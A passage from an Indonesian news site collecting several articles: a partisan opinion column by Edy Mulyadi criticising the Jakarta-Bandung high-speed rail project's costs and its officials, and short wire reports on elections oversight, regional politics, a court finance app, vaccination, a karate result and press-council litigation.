menyatu dengan ABRI. Harus diakui, tidak selamanya Babinsa itu baik. Demikian juga aparat Pembinaan Masyarakat (Binmas) Polri. Babinsa dan Binmas sama-sama bisa disalahgunakan. Keduanya bisa dianggap memata-matai kegiatan rakyat, terutama mereka yang berada pada kubu oposisi. Tentu kita juga sepakat, kelakuan Babinsa di masa orde baru tidak diperlukan sekarang. Contoh kelakuan Babinsa yang sangat buruk dan mencederai umat Islam adalah ketika Sertu Hermanu, Babinsa di Kelurahan Koja Selatan, Tanjung Priok, Jakarta Utara, berpatroli di wilayahnya, pada 7 September 1984. Ia menemukan pamplet anti pemerintah di musala As Saadah. Ia kemudian menyambangi sang pengurus, dan meminta agar pamplet-pamflet tersebut disingkirkan. Dikabarkan, ia mencopot sendiri pamplet tersebut. Bahkan, isunya, ia menyiram dengan air got, dan tanpa membuka sepatu masuk ke musala itu. Peristiwa tersebut menyebabkan kerusuhan yang terkenal dengan Peristiwa Tanjung Priok yang menyebabkan ratusan orang meninggal dunia dan korban luka.

Kereta Cepat Jakarta-Bandung, Untuk Siapa?

Oleh Edy Mulyadi *) SOAL kereta api cepat Jakarta-Bandung, (KCJB) pertanyaan pertama dan paling utama adalah; untuk siapakah sebenarnya kereta api cepat ini? Penguasa pasti menjawab, untuk rakyat. Tapi, pertanyaan berikutnya, rakyat yang mana? Atau, siapa rakyat yang dimaksud? Pak Dullah dan mpok Minah, tentu adalah rakyat. Joni, Siska, dan Rudy juga rakyat. Tapi pengusaha dan anggota DPR itu pun rakyat. Begitu juga dengan Luhut, Airlangga, dan Jokowi juga rakyat. Kendati tiga nama yang disebut terakhir itu juga pejabat. Bahkan Jokowi adalah Presiden Republik Indonesia. Jadi, rakyat yang mana yang dimaksud? Sebagai rakyat, kira-kira bersediakah Anda (nanti, jika jadi beroperasi) naik kereta api cepat Jakarta-Bandung dengan membayar tiket seharga Rp 400.000? Wuih, mahal banget? Ya, memang. Mahal banget. Tapi kira-kira harga tiketnya memang pada kisaran angka itu. Ada yang bilang, harga itu normal dan wajar. Bukankah waktu tempuh bisa diperpendek? Jika lewat jalan tol biasa butuh sekitar 2,5 sampai 3 jam Jakarta-Bandung. Kelak, dengan KCJB waktunya kurang dari 40 menit, tepatnya 39 menit. Ok, sepertinya bagus. Tapi Anda belum memasukkan waktu tempuh dari rumah ke stasiun kereta, kan? Tolong hitung ulang dengan lebih teliti ya. Biaya membengkak, lagi Beberapa hari lalu kita baca berita, biaya investasi proyek kereta-api cepat ini membengkak, lagi. Lagi? Iya, lagi. Sebelumnya harga proyek KCJB juga naik US$ 1,9 miliar atau sekitar Rp 27,17 triliun dari proyeksi awal US$ 6,07 miliar menjadi Rp 113,9 triliun. Lalu Direktur Keuangan dan Manajemen Risiko PT KAI (Persero) Salusra Wijaya mengatakan, kebutuhan investasi proyek Kereta Cepat Jakarta-Bandung (KCJB) naik sekitar US$ 1,9 miliar. Dalam hitungan rupiah, angkanya mencapai Rp 27 trilliun lebih. Dengan begitu, untuk sementara, nilai investasi proyek superambisius ini telah menyentuh US$ 8 miliar, atau setara Rp 114,24 triliun. Top markotop! Dengan biaya investasi sebesar itu, berapa harga tiket yang harus penumpang bayar? Tergantung dari berapa lama titik impas alias break event point (BEP) mau dicapai? Tentu saja, BEP pun akan sangat dipengaruhi berbagai biaya; mulai biaya pembangunan, biaya operasional (kalau jadi beroperasi), dan biaya lain-lain, termasuk aneka biaya siluman yang selalu saja ada pada setiap proyek. Saya termasuk beruntung ikut hadir pada rapat yang digelar Menko Perekonomian (waktu itu) Darmin Nasution. Hadir antara lain Menko Maritim Rizal Ramli, Menteri/Kepala Bappenas Sofyan A. Djalil, Menteri BUMN Rini Soemarno, Menteri Perhubungan Ignasius Jonan, Menteri Keuangan Bambang Brojonegoro, dan sejumlah pejabat eselon satu dan eselon dua lintas kementerian. Rapat yang digelar sekitar pukul 19an WIB di kantor Darmin ini terbilang lumayan penting. Agendanya membahas dua proposal proyek kereta api cepat Jakarta-Bandung. Supaya tidak repot, sebelumnya Bappenas sudah menyewa Boston Consulting Grup (BCG) untuk melalukan review atas kedua proposal tersebut. Kepada pejabat Bappenas yang duduk di sebelah, saya bertanya berapa fee BCG untuk pekerjaan ini. “US$ 150.000 untuk review selama dua pekan,” jawabnya. Wow! Menurut BCG, kedua proposal sama-sama punya kelemahan dan keunggulan. Poposal Jepang lebih mahal. Itu karena teknologi yang digunakan bisa dikatakan lebih unggul. Proposal Cina memang lebih murah, tapi tidak ada jaminan bahwa biaya akan berhenti sesuai nilai yang tercantum pada proposal. Singkat kata, BCG menyatakan proyek ini tidak feasible. Tidak layak. Terlalu mahal! Berapa pun tiket yang kelak akan dijual kepada penumpang, tetap tidak akan mampu mengembalikan investasi yang digelontorkan. Mau dijual Rp 100.000 atau Rp 200.000 (rapat digelar pada 2015) tidak akan menutup investasi dan biaya operasionalnya. Bandingkan, misalnya, dengan harga tiket travel Baraya saat itu untuk Jakarta-Bandung hanya Rp 40.000. Saya sempat ngobrol dengan Menko RR soal kedua proposal asal Jepang dan Cina, beberapa hari sebelum rapat di kantor Darmin. Sebagai Menko Maritim, dia sempat menerima perwakilan Jepang dan Cina, tentu saja secara terpisah. Oya, sebagai informasi saja, Kemenko Maritim saat itu mengkoordinasikan empat kementerian. Yaitu, Kementerian Energi dan Sumber Daya Mineral, Kementerian Perhubungan, Kementerian Kelautan dan Perikanan, serta Kementerian Pariwisata. Jadi, jangan heran kalau dia ikut cawe-cawe pada proyek KCJB. Sejak awal RR sudah mengingatkan ‘bahayanya’ menggandeng Cina. “Proposal Cina memang terlihat lebih murah. Tapi, di sana belum dijelaskan bagaimana biaya pembebasan lahan dan kemungkinan terjadinya cost overrun. Siapa yang akan tanggung. Kita mesti hati-hati,” ujarnya waktu itu. Dan, cost overrun alias tambahan biaya yang dikhawatirkan Rizal Ramli pun jadi kenyataan. Bukan hanya sekali, tapi berkali. Hingga akhirnya kita dengar, biayanya membengkak jadi Rp 114,24 triliun. Tidak pakai APBN Saya juga ingat, waktu rapat Menko Rizal Ramli mewanti-wanti bahwa tidak akan ada dana APBN yang disertakan. Menkeu Bambang Brojo bahkan berulang-ulang menyatakan tidak setuju menggunakan APBN, baik sebagian apalagi seluruhnya. Yang seru, Menhub Jonan berkali-kali menyatakan tidak setuju proyek ini. “Jakarta-Bandung sudah dilayani Kereta Parahiyangan. Ada beberapa maskapai yang terbang untuk rute ini. Begitu juga cukup banyak perusahaan travel yang mondar-mandir. Jadi untuk apa lagi kereta api cepat?” tukar Jonan, sengit. Menhub yang satu ini ternyata konsisten dengan sikapnya. Itu dibuktikan dengan ketidakhadirannya pada ground breaking proyek yang dilakukan oleh Presiden Jokowi. Jonan mbalelo? Mungkin saja. Uniknya, Rini malam itu terlihat ngotot. Dia mati-matian berusaha meyakinkan rapat, bahwa proyek kereta api cepat ini sangat penting, dibutuhkan rakyat, akan memperpendek waktu tempuh, bla bla bla... Begitu bernafsunya Rini, sampai-sampai Jonan bertanya, “kenapa ibu Rini begitu semangat?” Kalau tidak salah ingat, dia mengulanginya hingga 2-3 kali. Saya melihat Rizal Ramli senyum-senyum sendiri melihat ‘debat’ Jonan vs Rini. Saya tidak tahu, apa makna senyum-senyum ‘misterius’ tersebut. Namun belakangan, saya baru paham. Rini memang bisa disebut saat itu orang yang paling bertanggungjawab atas proyek ini. Saya katakan “saat itu” karena memang waktu itu belum muncul manusia super bernama Luhut Binsar Pandjaitan. Hehehe... Kalau tidak salah, Sofyan sempat bertanya, jika ternyata kelak konsorsium BUMN sebagai pemilik KCJB tak bisa membayar kewajiban kepada Cina, apa solusinya? Dengan enteng Rini menjawab, kita minta mereka duduk lagi untuk merestrukturisasi utang, termasuk penjadwalan ulang pembayarannya. Sebagai Menteri BUMN Rini Soemarno sempat menyampaikan pujian dan berterimakasih kepada China. Alasannya, Negara Tirai Bambu tersebut mau terlibata dalam proyek Kereta Cepat Jakarta-Bandung yang digarap oleh PT Kereta Cepat Indonesia-China (KCIC). Kembali senyum misterius Rizal Ramli. Juli silam, dia menulis, “Rini Soewandi jangan ngilang dong? Ada berita kick back-nya lho,” kata RR lewat akun Twitter pribadinya @RamliRizal, Sabtu (10/7/2021). Rini memang layak dimintai pertanggungjawabannya atas babak-belur dan ruwetnya proyek kereta api cepat ini. Apalagi, dia pernah bilang proyek Kereta Cepat Jakarta-Bandung akan selesai 50% pada 2019 dan rampung pada 2021. Ngomong-ngomong soal kick back, saya pernah berhalusinasi (?). Jika benar ada uang pelumasnya, 1% saja, wuiiihhh.... Biaya awal pembangunan KCJB adalah US$ 6,07 miliar atau sekitar Rp 86,5 triliun. Jika --ini jika, lho-- ada kick back 1% saja, maka nilainya mencapai Rp865 miliar. Wuidihhh... Berapa kalau 2%, 5% dan seterusnya? Ah, sudahlah. Kalau pun ada, itu kan “rejeki” orang lain. Ganti Jagoan Bagaimana sekarang? Sepertinya KCJB terancam. Seperti bisa, kalau merasa kepepet, Jokowi akan mengeluarkan jurus pamungkas. Menugaskan jagoan andalannya, Luhut Binsar Pandjaitan. Lelaki yang oleh sebagian publik digelari Menko Atasi Segala Urusan (Menko ASU) ini kembali mendapat tugas baru sebagai Ketua Komite Proyek Kereta Cepat Jakarta-Bandung (KCJB). Surat tugasnya dituangkan dalam Peraturan Presiden (Perpres) Nomor 93 Tahun 2021 tentang Percepatan Penyelenggaraan Prasarana dan Sarana Kereta Cepat Antara Jakarta dan Bandung. Saya tidak tahu persis, apa pertimbangan Jokowi nekat meneruskan proyek ini. Dia bahkan tak segan-segan menjilat ludah sendiri. Lewat Perpres Nomor 93 Tahun 2021 Jokowi mengizinkan penggunaan dana APBN untuk membiayai KCJB. Padahal sebelumnya dia sudah menyatakan tidak akan menggunakan ABPN. Tapi, untuk urusan mencla-mencle alias tak konsisten, eks tukang mebel asal Solo ini kan memang jagonya. Yang jadi soal kini, apa makna dilibatkannya APBN dalam proyek KCJB? Bukankah review Boston Consulting Grup sejak awal menyatakan proyek ini tidak layak? Tidak ekonomis? Bukankah sebelumnya telah dideklarasikan, bahwa proyek ini murni business to business alias B to B? Hanya antar perusahaan, yaitu konsorisum empat BUMN dan perusahaan Cina? Rakyat harus mensubsidi? Satu hal yang pasti, suntikan APBN ke proyek kereta cepat bakal mengganggu efektivitas APBN bagi pembangunan. Bukankah keputusan Jokowi ini berdampat pada terjadinya pergeseran alokasi anggaran APBN 2022 yang telah ditentukan? Bukankah di saat pandemi, pemerintah fokus dan serius dengan alokasi untuk perlindungan sosial? Belum lagi alokasi anggaran dan belanja rutin lainnya, termasuk pembayaran pokok dan bunga utang. Nah, kira-kira pos anggaran mana yang bakal digeser? Pertanyaan lain, kalau KCJB adalah proyek bisnis, kenapa rakyat yang harus ikut menanggung? Dengan harga tiket minimal Rp 400.000 sekali jalan, siapakah kelak yang bakal menjadi penumpangnya? Rakyat yang mana? Kalangan menengah-atas? Berapa banyak dari mereka yang mau? Bukankah penumpang yang tak punya kendaraan sendiri juga harus membayar ongkos taksi dari dan ke stasiun kereta? Dengan jumlah penumpang yang pasti tidak banyak, sampai kapan titik impas bakal tercapai? Bagaimana jadinya kalau dalam operasionalnya terus dan terus merugi? Bukankah light rail transit (LRT) di Palembang yang babak-belur karena terus-terusan rugi bisa jadi pelajaran berharga? Pertanyaan sederhananya, kenapa proyek ini ngotot dan terus dipaksakan? Bukankah akhirnya jadi beban negara dan rakyat? Sebagai pembayar pajak, apakah Anda rela uangnya digunakan untuk mensubsidi kereta cepat? Kalau saya tidak. Tidaaaak! Tapi sebagai rakyat, kita bisa apa? Protes? Aksi demonstrasi? Emang ngaruh? Sudah bagus kalau tak diciduk dengan dalih melanggar UU ITE. Jokowi memang dikenal sangat ugal-ugalan dalam hal pembangunan infrastruktur. Jalan tol, bandara, dan pelabuhan dibangun dengan serampangan. Entah ada studi kelayakannya atau tidak. Faktanya berbagai proyek tadi akhirnya mubazir. Ada bandara Kertajati yang disulap jadi bengkel pesawat karena sepi penumpang. Ada pelabuhan yang tak punya akses jalan. Ada bendungan yang tak ada saluran irigasi. Atau, kalau pun ada studi kelayakannya, apakah mampu membatalkan syahwat membangun proyek? KCJB adalah contoh yang terang benderang. Boston Consulting Group sejak awal menyatakan proyek ini tidak layak. Tapi kenyataannya kan tetap saja menggelinding. Walau pun makin ke sini makin ngawur dan amburadul. Tapi Jokowi tak peduli dan tidak mau tahu. Dia terus saja sibuk dan membabi-buta mencari utangan. Padahal kalau mau jujur, infrastruktur yang dimaksud itu tak lebih dari bisnis. Bisnis bagi pemilik proyek, bagi RRC yang datang dengan utangan, tenaga kerja, dan bahan baku. Juga, bisnis bagi para pemburu rente. Termasuk bisnis buat pejabat yang getol mempromosikan dan sekaligus jadi makelar proyek. Anda tentu tahu siapa yang saya maksud, kan? (*) *) Wartawan senior FNN

Alumni SKPP Bentuk Komunitas Pengawas Partisipatif

Tanjungpinang, FNN - Badan Pengawas Pemilu Provinsi Kepulauan Riau mengarahkan alumni Sekolah Kader Pengawas Partisipatif (SKPP) membentuk komunitas pengawas partisipatif. Anggota Bawaslu Kepri Indrawan di Tanjungpinang, Senin, mengatakan bahwa komunitas pengawas partisipatif kabupaten dan kota sudah terbentuk berdasarkan semangat dan keinginan para alumni SKPP untuk berpartisipasi meningkatkan pengawasan pemilu, ikut menciptakan pemilu yang jujur, adil, bersih dan berkualitas. "Kami mendorong agar program SKPP membuahkan hasil yang positif untuk pemilu. Oleh karena itu, kami mendorong kader atau alumni SKPP memberi kontribusi terhadap peningkatan kualitas pengawasan pemilu dengan membentuk organisasi baru," katanya. Indrawan menegaskan bahwa komunitas pengawas partisipatif bukan organisasi yang berada di bawah Bawaslu. Bawaslu juga tidak mengendalikan organisasi itu, kecuali memberi kontribusi pemikiran kepada para pengurus organisasi itu. Namun, organisasi itu dapat menjadi mitra Bawaslu dalam meningkatkan pengawasan. "Komunitas pengawas partisipatif berdiri independen tanpa intervensi Bawaslu," ujarnya. Indrawan mengemukakan bahw pengurus komunitas pengawas partisipatif sudah terbentuk di tujuh kabupaten/kota di Kepri. Para pengurus juga sudah mempersiapkan anggaran dasar dan rumah tangga untuk kepentingan akta notaris. Setelah terbentuk pengurus kabupaten/kota, dia mengatakan bahwa para pengurus membentuk Komunitas Pengawas Partisipatif Provinsi Kepri. Jumlah kader SKPP yang menjadi pengurus organisasi itu sekitar 300 orang, tersebar di kabupaten/kota. Mereka terdiri atas alumni SKPP gelombang I s.d. III sejak 2018 dilaksanakan oleh Bawaslu RI di Kepri sebanyak 100 orang dan 200 orang lainnya alumni tahun ini. "SKPP tahun ini diselenggarakan Badan Perencanaan Nasional di seluruh Indonesia," ucapnya.(sws)

Zuhrotul Mar'ah Resmi Dilantik Jadi Anggota DPRD Surabaya

Surabaya, FNN - Zuhrotul Mar'ah resmi dilantik menjadi anggota DPRD Kota Surabaya periode 2019—2024 menggantikan almarhum Hamka Mudjiadi Salam dalam rapat paripurna yang digelar di gedung DPRD setempat, Senin. "Hari ini ada rapat paripurna untuk pengucapan sumpah dan janji anggota DPRD Kota Surabaya yang baru melalui mekanisme pergantian antarwaktu, yakni Zuhrotul Mar'ah. Dengan demikian, sudah resmi menjadi anggota DPRD Kota Surabaya," kata Ketua DPRD Kota Surabaya Adi Sutarwijono saat memimpin rapat paripurna itu. Sidang paripurna dengan agenda pengucapan sumpah dalam pergantian antarwaktu (PAW) Zuhrotul Mar'ah dari Partai Amanat Nasional (PAN) yang menggantikan almarhum Hamka Mudjiadi Salam yang meninggal karena COVID-19 beberapa waktu lalu. Turut hadir pada pelantikan tersebut para pimpinan DPRD setempat, Wali Kota Surabaya Eri Cahyadi, anggota DPRD, dan pejabat pemkot setempatg lainnya. Adi mengharapkan bahw Zuhrotul Mar'ah selaku anggota DPRD untuk bisa segera beradaptasi dengan lingkungan tugas kerja yang baru sebagai amanah rakyat. Selain itu, lanjut dia, bisa menelurkan ide atau gagasan baru yang bisa membantu pemulihan ekonomi di Kota Pahlawan. Sementara itu, Zuhrotul Mar'ah menyatakan secepatnya akan melakukan adaptasi di ruang pengabdian terbarunya. Baginya, Komisi B itu terkait dengan ekonomi dan keuangan, antara lain UMKM dan koperasi. "Bayangan saya ke depan, bagaimana mewujudkan pemulihan ekonomi secara maksimal. Dengan demikian, tIdak ada lagi ekonomi yang terpuruk meski di tengah pandemi," kata Zuhro yang sebelumnya berprofesi sebagai dokter ini. Ia mencontohkan pasar yang selama ini menjadi pusat perputaran pendapatan Kota Surabaya. Seiring dengan melandainya kasus COVID-19 di Ibu Kota Provinsi Jawa Timur ini, dia mengingatkan agar semua pihak tidak boleh lengah. "Agar perekonomian terus tumbuh, harus menerapkan protokol kesehatan dengan baik," katanya. Anggota dewan yang baru dilantik ini menegaskan bahwa dirinya tetap butuh berproses dan belajar menuju adaptasi secepatnya terhadap kinerja sebagai wakil rakyat. "Secepatnya, saya belum bisa menargetkan kapan. Namun, sesegera mungkin saya akan menjalankan amanah rakyat dengan penuh tanggung jawab," katanya. (sws)

Muhaimin Optimis PKB Masuk Dua Besar di Pemilu 2024

Jakarta, FNN - Ketua Umum DPP PKB Abdul Muhaimin Iskandar optimistis partainya akan menempati posisi dua besar pada Pemilu 2024, atau menggusur posisi Partai Golkar. "Insyaallah, kami yakin minimal menempati posisi dua. Dahulu di survei-survei itu PKB selalu jelek, rangking 5 atau 4 paling tinggi. Namun, setahun terakhir selalu di posisi kedua atau ketiga, atau di atas Golkar atau di atas Gerindra," kata Muhaimin dalam keterangannya di Jakarta, Senin. Hal itu dikatakannya saat membuka Musyawarah DPC PKB se-Bali di Denpasar, Minggu (10/10). Muhaimin menyebutkan hasil survei dari sejumlah lembaga survei dalam beberapa waktu terakhir, menunjukkan bahwa masyarakat memberikan kepercayaan dan harapan yang tinggi terhadap PKB. Ia mencontohkan berdasarkan hasil survei terbaru yang dirilis Saiful Mujani Research & Consulting (SMRC) pada pekan lalu, elektabilitas PKB melampaui Partai Gerindra. Survei SMRC tersebut menunjukkan PDIP mendapat dukungan sebesar 22,1 persen, Golkar 11,3 persen, PKB 10 persen, Gerindra 9,9 persen, Demokrat 8,6 persen, PKS 6 persen, dan NasDem 4,2 persen. "Tren positif ini tidak lepas dari kinerja PKB di berbagai level selama ini dalam menjalankan tugas-tugas politik, baik di legislatif maupun eksekutif," ujar Muhaimin. Menurut dia, kinerja anggota legislatif dari PKB mulai dari tingkat DPRD II, DPRD I, hingga DPR RI, semua mengambil peran yang efektif dan nyata dirasakan masyarakat. Untuk bisa berada di posisi dua besar pada Pemilu 2024, menurut Muhaimin, sudah ada berbagai indikasi selain hasil sejumlah survei yang menunjukkan tren positif bagi PKB. "Kami sudah berada di parpol papan atas, indikasi itu adalah kecenderungan yang mungkin pasti terjadi jika syarat-syaratnya terpenuhi. Apa itu syaratnya, yaitu kinerja, berpikir strategis, melangkah strategis, dan tepat sasaran. Dengan demikian, kalau kinerja selesai, indikasi (meraih dua besar) mutlak selesai," katanya. Wakil Ketua DPR RI itu mengatakan bahwa hal yang juga tidak kalah penting adalah terus meningkatkan kapasitas sumber daya manusia (SDM) partai. Oleh karena itu, Muhaimin meminta seluruh jajarannya mulai dari tingkat ranting, DPC, DPW, hingga DPP untuk terus memperbaharui kapasitas diri. Menurut dia, optimisme itu juga muncul karena saat ini di internal PKB tidak ada lagi konflik yang tercipta sehingga rencana-rencana kerja partai berjalan aman, lancar, dan tanpa kendala serta semua kader saling bahu-membahu. (sws)

Ketua MA: e-Bima Wujudkan Tata Kelola Keuangan yang Transparan

Jakarta, FNN - Ketua Mahkamah Agung M Syarifuddin mengatakan aplikasi e-Bima dapat mewujudkan tata kelola keuangan yang transparan dan akuntabel di lingkungan Mahkamah Agung dan bisa dipantau oleh pimpinan satuan kerja kapan dan di mana saja. Syarifuddin, dalam acara “Peluncuran Aplikasi e-Bima” yang disiarkan langsung melalui kanal YouTube Mahkamah Agung Republik Indonesia dari Jakarta, Senin, mengatakan e-Bima atau electronic Budgeting Implementation, Monitoring, and Accountability merupakan sarana bantu pengawasan pengelolaan keuangan negara, keuangan perkara, dan uang titipan pihak ketiga. Syarifuddin menjelaskan perwujudan tata kelola keuangan yang transparan dan akuntabel di lingkungan MA itu muncul dari ketiga fungsi aplikasi ini. Pertama, e-Bima berfungsi dalam mitigasi pelaporan keuangan untuk mengurangi risiko-risiko yang tidak sesuai dengan standar pelaporan. Kedua, menjadi dasar bagi pimpinan satuan kerja dalam mengambil keputusan terkait pengelolaan dan perubahan pagu anggaran (alokasi anggaran dari negara). Ketiga, sebagai dasar bagi pimpinan dalam menerapkan penilaian kinerja pengelolaan anggaran berbasis penghargaan dan hukuman. Selain itu, perwujudan tata kelola keuangan yang transparan dan akuntabel juga tidak terlepas dari enam fitur utama yang dimuat dalam e-Bima. “Untuk memudahkan pengelolaan, pemantauan, dan pelaporan keuangan, e-Bima telah dibekali dengan enam fitur utama ,” jelas Syarifuddin. Enam fitur tersebut meliputi, pertama, pagu alokasi anggaran yang menyajikan data mutakhir pagu anggaran Mahkamah Agung dan setiap satuan kerja di empat peradilan MA, yaitu Peradilan Umum, Peradilan Agama, Peradilan Militer, dan Peradilan Tata Usaha Negara (TUN). Kedua, realisasi daftar isian pelaksanaan anggaran (DIPA) yang menampilkan data realisasi anggaran secara berkala dan mutakhir. Ketiga, realisasi penerimaan negara bukan pajak (PNBP) guna memantau penerimaan dan pengelolaannya. Keempat, capaian kinerja seluruh satuan kerja dalam pengelolaan anggaran. Kelima, perbendaharaan yang mencakup data pertanggungjawaban uang persediaan secara berjenjang. Keenam, keuangan perkara yang memuat menu terkait kondisi rekapitulasi keuangan perkara. Syarifuddin berharap pemanfaatan e-Bima di lingkungan MA dapat mempertahankan predikat Opini Wajar Tanpa Pengecualian (WTP) dari BPK. Predikat tersebut menandakan bahwa laporan keuangan MA telah disajikan secara wajar dalam semua hal yang material, posisi keuangan, hasil usaha atau laporan realisasi anggaran, laporan arus kas, yang sesuai dengan prinsip akuntansi secara umum. (sws)

Binda DIY Tuntaskan Vaksinasi COVID-19 Santri Ponpes Baitussalam

Yogyakarta, FNN - Badan Intelijen Negara Daerah (Binda) Daerah Istimewa Yogyakarta berkolaborasi dengan Pemerintah Kabupaten Sleman, menuntaskan vaksinasi COVID-19 massal bagi santri/pelajar Pondok Pesantren Modern Baitussalam Prambanan guna mendukung tercapainya kekebalan kelompok. "Kegiatan hari ini vaksinasi dosis kedua, setelah pada dosis pertama kita lakukan 13 September, ini merupakan tindak lanjut arahan Pak Presiden, karena memang target dari Presiden, Desember nanti sudah harus 100 persen," kata Koordinator Binda DIY Adi Riyanto di sela vaksinasi di Yogyakarta, Senin. Dia mengatakan vaksinasi santri ini akan mendukung percepatan vaksinasi di Kabupaten Sleman khususnya dan DIY pada umumnya. Di Sleman sendiri kegiatan vaksinas per hari rata-rata 8.000 dosis, sehingga harapannya hingga November 2021 sudah bisa 100 persen untuk dosis pertama. "Kemarin kita hitung kalau di Kota (Yogyakarta) vaksinasi sudah 90 persen, jadi di tingkat nasional, DIY itu sudah di urutan keempat dengan kira-kira 84 persen, jadi kalau hitung-hitungan vaksinasi DIY Insya Allah bisa mencapai target," katanya. Adi juga mengatakan vaksinasi pelajar ini juga untuk mendukung kegiatan pembelajaran tatap muka (PTM) di sekolah tersebut, dan lainnya yang sudah mendapat serbuan vaksinasi Binda DIY, karena vaksinasi pelajar menjadi syarat dimulai pembelajaran luar jaringan itu. "Kalau tatap muka di Sleman baru tanggal 4 Oktober, sementara Kota (Yogyakarta) sudah, jadi dengan vaksinasi ini, target tatap muka tercapai dan 'herd immunity' juga tercapai," katanya. Dia juga mengatakan dengan percepatan vaksinasi COVID-19 diharapkan dapat menurunkan level pemberlakuan pembatasan kegiatan masyarakat (PPKM) di DIY ke level 2 dari saat ini yang masih level 3, agar berbagai sektor dapat kembali berjalan dan ekonomi menggeliat. "Harapan dari BIN agar secepatnya kita kembali ke awal, ke normal, semua bisa menggeliat, masyarakat sudah bisa berusaha kembali, dan harapan untuk Indonesia Sehat Indonesia Hebat tercapai," katanya. Sementara itu, Kepala SMA IT Baitussalam, Komarudin mengatakan, Ponpes Modern Baitussalam mendapat jatah vaksin sebanyak 1.500 dosis, yang pada pelaksanaan vaksinasi pertama kepada sebanyak 750 orang, dan dosis kedua 750 orang yang dilaksanakan pada 11 Oktober ini. "Vaksinasi di pondok ini tidak hanya diikuti santri-santri dan guru-guru saja, tetapi juga diikuti masyarakat sekitar, baik masyarakat umum juga pelajar SMA Negeri Prambanan, terima kasih kepada BIN yang membantu mengadakan vaksinasi di tempat kami," katanya. (sws)

M. Ivan Fairuz Lanjutkan Tren Jabar Raih Emas Kata Perseorangan Putra

Jayapura, FNN - Karateka M. Ivan Fairuz melanjutkan tren kontingen Jawa Barat meraih medali emas nomor kata perseorangan putra setelah menjadi yang terbaik pada Pekan Olahraga Nasional (PON) Papua di GOR Politeknik Penerbangan Kayu Batu, Jayapura, Senin. Pada PON 2016 Jawa Barat, wakil tuan rumah juga menjadi yang terbaik lewat Rahmat Darmawan. Hanya saja untuk PON Papua tidak kembali bertanding. Apa yang diraih oleh Ivan pada PON Papua cukup berat karena dalam partai final harus berhadapan dengan karateka Jawa Tengah Detrina Sabda yang tampil apik sejak penyisihan. Wakil Jawa Tengah yang tampil terlebih dahulu dalam final itu mengemas nilai 24,6 dan berhak medali perak, sedangkan jagoan Jawa Barat yang didukung penuh pendukungnya ini mengemas 25,34. Untuk medali perunggu direbut dua orang yakni wakil tuan rumah Papua, Kurniawan dengan nilai 24,74 dan wakil Sulawesi Selatan Andi Dasril dengan 24,88. Sebagai juara baru PON, M. Ivan Fairuz ternyata sudah banyak meraih prestasi mulai tingkat junior yang diantaranya kejuaraan karate Asia Tenggara dengan nomor yang sama. "Saya sangat bersyukur sekali atas emas di sini (PON) Papua. Saya sempat grogi di final. Tapi ternyata saya bisa menyumbang emas untuk Jawa Barat," kata Ivan usai menerima medali. Menurut dia, untuk meraih medali emas PON Papua membutuhkan persiapan panjang. Apalagi dihadapkan dengan pandemi. Sedikitnya membutuhkan dua tahun untuk menjadikan dirinya penerus trah medali emas nomor kata perorangan putra. Pada PON Papua Ivan Fairuz hanya turun dalam nomor kata perseorangan putra. Atlet muda ini berterima masih kepada pelatih Endah Jubaedah yang membinannya sejak kecil. Cabang olahraga karate pada PON Papua ini akan mempertandingkan 15 nomor dan jumlah ini lebih sedikit dibandingkan dengan PON Jawa Barat 2016 yang mempertandingkan 17 nomor. (sws)

Kominfo: Lebih dari Satu Dewan Pers Jadi Kendala Kemerdekaan Pers

Jakarta, FNN - Direktur Jenderal Informasi dan Komunikasi Publik Kementerian Komunikasi dan Informatika, Usman Kansong, mengatakan, keberadaan lebih dari satu Dewan Pers justru akan kontraproduktif dalam mengembangkan kemerdekaan pers dan meningkatkan kehidupan pers nasional. “Apabila (pasal 15 UU Nomor 40/1999 tentang Pers) dimaknai dapat lebih dari satu Dewan Pers, maka hal tersebut justru kontraproduktif dengan tujuan pembentukan Dewan Pers itu sendiri,” kata dia ketika memberi keterangan sebagai kuasa presiden di Sidang Perkara Nomor 38/PUU-XIX/2021 yang disiarkan secara langsung di kanal YouTube Mahkamah Konstitusi, Senin. Tujuan pembentukan Dewan Pers, kata dia, untuk mengembangkan kemerdekaan pers dan meningkatkan kehidupan pers nasional. Apabila terdapat lebih dari satu Dewan Pers, maka akan terbentuk variasi pemaknaan atas frasa kemerdekaan pers dari berbagai dewan pers. “Hal ini akan mengakibatkan variasi langkah dalam mewujudkannya. Tentu ini sangat dihindari karena berpotensi terjadinya benturan dan gesekan kepentingan antara satu dewan pers dengan dewan pers lainnya,” kata dia. Selain itu, terkait dengan fungsi Dewan Pers dalam menetapkan dan mengawasi pelaksanaan Kode Etik Jurnalistik sebagaimana yang telah diatur dalam Pasal 15 ayat (2) huruf c UU Pers, dia mengatakan, tidak mungkin penetapan kode etik jurnalistik dilakukan lebih dari satu Dewan Pers. “Akan ada banyak sekali variasi Kode Etik Jurnalistik yang perlu dipatuhi organisasi pers, perusahaan pers, dan wartawan, atau bahkan memilih Kode Etik Jurnalistik yang menguntungkan kepentingannya sendiri,” ucap dia. Oleh karena itu, dia mengatakan, lebih dari satu dewan pers akan menimbulkan kerancuan dan menjadi kendala dalam mencapai tujuan didirikannya Dewan Pers, yakni mengembangkan kemerdekaan pers dan meningkatkan kehidupan pers nasional. “Tujuan tersebut tidak akan tercapai,” kata dia. Pernyataan dia merupakan keterangan pemerintah yang menanggapi permohonan pengujian materi mengenai pasal 15 ayat (5) UU Pers yang dianggap bertentangan dengan pasal 28D ayat (1) dan 28I ayat (2) UUD 1945. Pemohon mengajukan aduan itu karena hasil pemilihan anggora Dewan Pers Indonesia tidak mendapat tanggapan atau respons dari presiden, khususnya berupa keputusan presiden. Ia mengatakan, Dewan Pers Indonesia bukan nomenklatur dan entitas yang dimaksud dalam pasal 15 ayat (1) UU Pers. “Tidak ditanggapinya permohonan penetapan anggota Dewan Pers Indonesia oleh presiden bukan perlakuan diskriminatif yang melanggar pasal 28D ayat (1) dan pasal 28I ayat (2) UUD 1945,” kata dia. (sws)

Kompolnas Sarankan Polri Gunakan Bantuan CSI Cari Bukti di Luwu Timur

